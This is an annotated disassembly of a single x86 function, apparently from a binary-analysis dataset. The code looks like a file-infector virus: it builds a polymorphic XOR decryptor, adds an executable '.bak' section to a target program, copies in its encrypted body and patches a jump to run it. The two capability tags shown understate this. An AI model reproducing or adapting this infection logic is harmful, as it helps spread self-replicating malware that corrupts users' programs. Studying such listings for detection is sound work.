Function at 0x496b8b
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffeb88
push esi
push edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1028], eax
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov edi, dword [eax + 0x20]
add edi, esi
mov edx, dword [eax + 0x28]
mov eax, dword [ebp + 0xc]
and dword [ebp - 0x1024], 0
cmp eax, esi
jb 0x496bf3
cmp eax, edi
jae 0x496bf3
inc dword [ebp - 0x1024]
mov dword [ebp - 0x102c], esi
push 0
push 0
push 0x104
lea eax, [ebp - 0x410]
push eax
push 0xffffffffffffffff
push edx
push 0
push 0
mov eax, dword [ebp + 8]
call dword [eax + 0x84]
jmp 0x496c47
mov eax, dword [ebp - 0x1028]
mov esi, dword [eax + 0x1c]
mov ebx, dword [esi + 8]
mov edi, dword [esi + 0x10]
add edi, ebx
mov eax, dword [ebp + 0xc]
cmp eax, ebx
jb 0x496c3f
cmp eax, edi
jae 0x496c3f
inc dword [ebp - 0x1024]
mov dword [ebp - 0x102c], ebx
push 0
push 0
push 0x104
lea eax, [ebp - 0x410]
push eax
push 0xffffffffffffffff
push dword [esi + 0x18]
push 0
push 0
mov eax, dword [ebp + 8]
call dword [eax + 0x84]
jmp 0x496c47
mov esi, dword [esi]
cmp dword [esi + 8], 0
jne 0x496bfc
dec dword [ebp - 0x1024]
jne 0x4972e3
push 0x100
lea eax, [ebp - 0x1478]
push eax
mov eax, dword [ebp + 8]
call dword [eax + 0x68]
or eax, eax
je 0x496c85
lea esi, [ebp - 0x1478]
lea edi, [ebp - 0x410]
cld
cmpsb byte [esi], byte es:[edi]
je 0x496c76
cmp byte [esi - 1], 0
je 0x496c85
inc dword [ebp - 0x1024]
dec dword [ebp - 0x1024]
jne 0x4972e3
mov edi, dword [ebp + 0xc]
sub edi, dword [ebp - 0x102c]
mov esi, dword [ebp - 0x102c]
add esi, dword [esi + 0x3c]
push dword [esi + 0x38]
pop dword [ebp - 0x1060]
push dword [esi + 0x3c]
pop dword [ebp - 0x1064]
mov edx, esi
add edx, 0xf8
movzx ecx, word [esi + 6]
mov eax, dword [edx + 0xc]
add eax, dword [edx + 0x10]
cmp edi, dword [edx + 0xc]
jb 0x496ce0
cmp edi, eax
jae 0x496ce0
inc dword [ebp - 0x1024]
sub edi, dword [edx + 0xc]
mov eax, dword [edx + 0x14]
add eax, edi
jmp 0x496ce5
add edx, 0x28
loop 0x496cc1
mov dword [ebp - 0x1030], eax
and dword [ebp - 0x1078], 0
movzx ecx, word [esi + 6]
add esi, 0xf8
mov eax, 0x28
imul ecx
lea eax, [eax + esi]
sub eax, dword [ebp - 0x102c]
sub eax, dword [esi + 0x14]
neg eax
cmp eax, 0x28
jae 0x496d22
push dword [ebp - 0x1064]
pop dword [ebp - 0x1078]
dec dword [ebp - 0x1024]
jne 0x4972e3
push 0xffffffffffffffff
push 0x10000000
push dword [ebp + 8]
call fcn.00496b4e
mov dword [ebp - 0x104c], eax
push 0x400
push 0x40
mov eax, dword [ebp + 8]
call dword [eax + 0xa4]
or eax, eax
je 0x496f2d
mov dword [ebp - 0x105c], eax
mov edi, eax
push 4
push 1
push dword [ebp + 8]
call fcn.00496b4e
cmp eax, 1
jne 0x496d83
mov byte [edi], 0xb9
inc edi
mov dword [edi], 0x641
add edi, 4
jmp 0x496dd5
cmp eax, 2
jne 0x496d9b
mov byte [edi], 0x68
inc edi
mov dword [edi], 0x641
add edi, 4
mov byte [edi], 0x59
inc edi
jmp 0x496dd5
cmp eax, 3
jne 0x496dbb
mov byte [edi], 0xb8
inc edi
mov dword [edi], 0xfffff9be
add edi, 4
mov word [edi], 0xd0f7
add edi, 2
mov byte [edi], 0x91
inc edi
jmp 0x496dd5
cmp eax, 4
jne 0x496dd5
mov byte [edi], 0xb9
inc edi
mov dword [edi], 0xfffff9be
add edi, 4
mov word [edi], 0xd1f7
add edi, 2
push 4
push 1
push dword [ebp + 8]
call fcn.00496b4e
mov byte [edi], 0xe8
inc edi
mov dword [edi], 0
add edi, 4
cmp eax, 1
jne 0x496e0c
mov word [edi], 0x483
add edi, 2
mov byte [edi], 0x24
inc edi
mov dword [ebp - 0x1050], edi
inc edi
mov byte [edi], 0x58
inc edi
jmp 0x496e60
cmp eax, 2
jne 0x496e26
mov byte [edi], 0x58
inc edi
mov word [edi], 0xc083
add edi, 2
mov dword [ebp - 0x1050], edi
inc edi
jmp 0x496e60
cmp eax, 3
jne 0x496e44
mov byte [edi], 0x5a
inc edi
mov word [edi], 0xc283
add edi, 2
mov dword [ebp - 0x1050], edi
inc edi
mov byte [edi], 0x92
inc edi
jmp 0x496e60
cmp eax, 4
jne 0x496e60
mov byte [edi], 0x5b
inc edi
mov word [edi], 0xc383
add edi, 2
mov dword [ebp - 0x1050], edi
inc edi
mov byte [edi], 0x93
inc edi
push 3
push 1
push dword [ebp + 8]
call fcn.00496b4e
cmp eax, 1
jne 0x496e98
mov dword [ebp - 0x1054], edi
mov word [edi], 0x3081
add edi, 2
push dword [ebp - 0x104c]
pop dword [edi]
add edi, 4
mov word [edi], 0xc083
add edi, 2
mov byte [edi], 4
inc edi
jmp 0x496ef6
cmp eax, 2
jne 0x496ec8
mov byte [edi], 0xbb
inc edi
push dword [ebp - 0x104c]
pop dword [edi]
add edi, 4
mov dword [ebp - 0x1054], edi
mov word [edi], 0x1831
add edi, 2
mov word [edi], 0xc083
add edi, 2
mov byte [edi], 4
inc edi
jmp 0x496ef6
cmp eax, 3
jne 0x496ef6
mov byte [edi], 0xba
inc edi
push dword [ebp - 0x104c]
pop dword [edi]
add edi, 4
mov dword [ebp - 0x1054], edi
mov word [edi], 0x1031
add edi, 2
mov word [edi], 0xc083
add edi, 2
mov byte [edi], 4
inc edi
mov byte [edi], 0xe2
inc edi
lea eax, [edi + 1]
push eax
sub eax, dword [ebp - 0x105c]
mov dword [ebp - 0x1058], eax
pop eax
sub eax, dword [ebp - 0x1054]
neg eax
mov byte [edi], al
inc edi
mov eax, dword [ebp - 0x1050]
sub eax, 3
sub edi, eax
xchg edi, eax
add edi, 3
mov byte [edi], al
inc dword [ebp - 0x1024]
dec dword [ebp - 0x1024]
jne 0x4972e3
lea edi, [ebp - 0x820]
lea esi, [ebp - 0x410]
cld
lodsb al, byte [esi]
stosb byte es:[edi], al
test al, al
jne 0x496f46
dec edi
mov dword [edi], 0x6b61622e
and dword [edi + 4], 0
lea eax, [ebp - 0x820]
push eax
mov eax, dword [ebp + 8]
call dword [eax + 0xb8]
test eax, eax
jne 0x4972e3
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x410]
push eax
mov eax, dword [ebp + 8]
call dword [eax + 0x88]
push 0
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x820]
push eax
mov eax, dword [ebp + 8]
call dword [eax + 0x8c]
push 0
push 0x80
push 3
push 0
push 4
push 0xc0000000
lea eax, [ebp - 0x410]
push eax
mov eax, dword [ebp + 8]
call dword [eax + 0x90]
cmp eax, 0xffffffff
je 0x497066
mov dword [ebp - 0x1034], eax
push 0
push eax
mov eax, dword [ebp + 8]
call dword [eax + 0x94]
mov dword [ebp - 0x1038], eax
mov dword [ebp - 0x1074], eax
mov eax, 0x1903
add eax, dword [ebp - 0x1058]
push dword [ebp - 0x1064]
push eax
call fcn.004972e9
add eax, dword [ebp - 0x1078]
add eax, dword [ebp - 0x1038]
push 0
push eax
push 0
push 4
push 0
push dword [ebp - 0x1034]
mov eax, dword [ebp + 8]
call dword [eax + 0x54]
or eax, eax
je 0x49705a
mov dword [ebp - 0x103c], eax
push 0
push 0
push 0
push 6
push eax
mov eax, dword [ebp + 8]
call dword [eax + 0x98]
or eax, eax
je 0x49704e
mov dword [ebp - 0x1040], eax
inc dword [ebp - 0x1024]
jmp 0x497066
push dword [ebp - 0x103c]
mov eax, dword [ebp + 8]
call dword [eax + 0x50]
push dword [ebp - 0x1034]
mov eax, dword [ebp + 8]
call dword [eax + 0x50]
dec dword [ebp - 0x1024]
jne 0x4972e3
mov esi, dword [ebp - 0x1040]
add esi, dword [esi + 0x3c]
mov eax, 0x1903
push dword [ebp - 0x1060]
push eax
call fcn.004972e9
add dword [esi + 0x50], eax
movzx eax, word [esi + 6]
mov dword [ebp - 0x1068], eax
inc word [esi + 6]
add esi, 0xf8
cmp dword [ebp - 0x1078], 0
je 0x497145
mov eax, dword [esi + 0x14]
sub dword [ebp - 0x1074], eax
add eax, dword [ebp - 0x1040]
mov dword [ebp - 0x106c], eax
push dword [ebp - 0x1074]
push 0x40
mov eax, dword [ebp + 8]
call dword [eax + 0xa4]
test eax, eax
je 0x4972ad
mov dword [ebp - 0x1070], eax
push dword [ebp - 0x1074]
push dword [ebp - 0x106c]
push dword [ebp - 0x1070]
mov eax, dword [ebp + 8]
call dword [eax + 0xb4]
mov ecx, dword [ebp - 0x106c]
add ecx, dword [ebp - 0x1064]
push dword [ebp - 0x1074]
push dword [ebp - 0x1070]
push ecx
mov eax, dword [ebp + 8]
call dword [eax + 0xb4]
push dword [ebp - 0x1070]
mov eax, dword [ebp + 8]
call dword [eax + 0xa0]
push dword [ebp - 0x1064]
push dword [ebp - 0x106c]
mov eax, dword [ebp + 8]
call dword [eax + 0xb0]
mov ecx, dword [ebp - 0x1068]
mov eax, dword [ebp - 0x1078]
add dword [esi + 0x14], eax
add esi, 0x28
loop 0x497151
mov dword [esi], 0x6b61622e
mov eax, 0x1903
mov dword [esi + 8], eax
push dword [ebp - 0x1064]
push eax
call fcn.004972e9
mov dword [esi + 0x10], eax
mov edi, esi
sub edi, 0x28
mov eax, dword [edi + 0xc]
add eax, dword [edi + 8]
push dword [ebp - 0x1060]
push eax
call fcn.004972e9
mov dword [esi + 0xc], eax
mov eax, dword [edi + 0x14]
or eax, eax
jne 0x49719f
sub edi, 0x28
jmp 0x496f46
add eax, dword [edi + 0x10]
mov dword [esi + 0x14], eax
mov dword [esi + 0x24], 0xe0000020
mov dword [ebp - 0x1048], eax
sub eax, dword [ebp - 0x1038]
neg eax
or eax, eax
je 0x497230
mov dword [ebp - 0x1044], eax
push dword [ebp - 0x1044]
push 0x40
mov eax, dword [ebp + 8]
call dword [eax + 0xa4]
mov dword [ebp - 0x1070], eax
mov ecx, dword [ebp - 0x1040]
add dword [ebp - 0x1048], ecx
push dword [ebp - 0x1044]
push dword [ebp - 0x1048]
push dword [ebp - 0x1070]
mov eax, dword [ebp + 8]
call dword [eax + 0xb4]
mov eax, dword [ebp - 0x1048]
add eax, dword [esi + 0x10]
push dword [ebp - 0x1044]
push dword [ebp - 0x1070]
push eax
mov eax, dword [ebp + 8]
call dword [eax + 0xb4]
push dword [ebp - 0x1070]
mov eax, dword [ebp + 8]
call dword [eax + 0xa0]
mov edi, dword [esi + 0x14]
add edi, dword [ebp - 0x1040]
push dword [ebp - 0x1058]
push dword [ebp - 0x105c]
push edi
mov eax, dword [ebp + 8]
call dword [eax + 0xb4]
add edi, dword [ebp - 0x1058]
call 0x49725a
sub dword [esp], 0x40223d
pop eax
lea eax, [eax + section..text]
push 0x1903
push eax
push edi
mov eax, dword [ebp + 8]
call dword [eax + 0xb4]
mov ecx, 0x641
mov eax, dword [ebp - 0x104c]
xor dword [edi], eax
add edi, 4
loop 0x497283
mov eax, dword [ebp + 0xc]
add eax, 5
mov ecx, dword [esi + 0xc]
add ecx, dword [ebp - 0x102c]
sub ecx, eax
mov eax, dword [ebp - 0x1030]
add eax, dword [ebp - 0x1040]
mov byte [eax], 0xe9
mov dword [eax + 1], ecx
push dword [ebp - 0x105c]
mov eax, dword [ebp + 8]
call dword [eax + 0xa0]
push dword [ebp - 0x1040]
mov eax, dword [ebp + 8]
call dword [eax + 0x9c]
push dword [ebp - 0x103c]
mov eax, dword [ebp + 8]
call dword [eax + 0x50]
push dword [ebp - 0x1034]
mov eax, dword [ebp + 8]
call dword [eax + 0x50]
pop edi
pop esi
leave
ret 8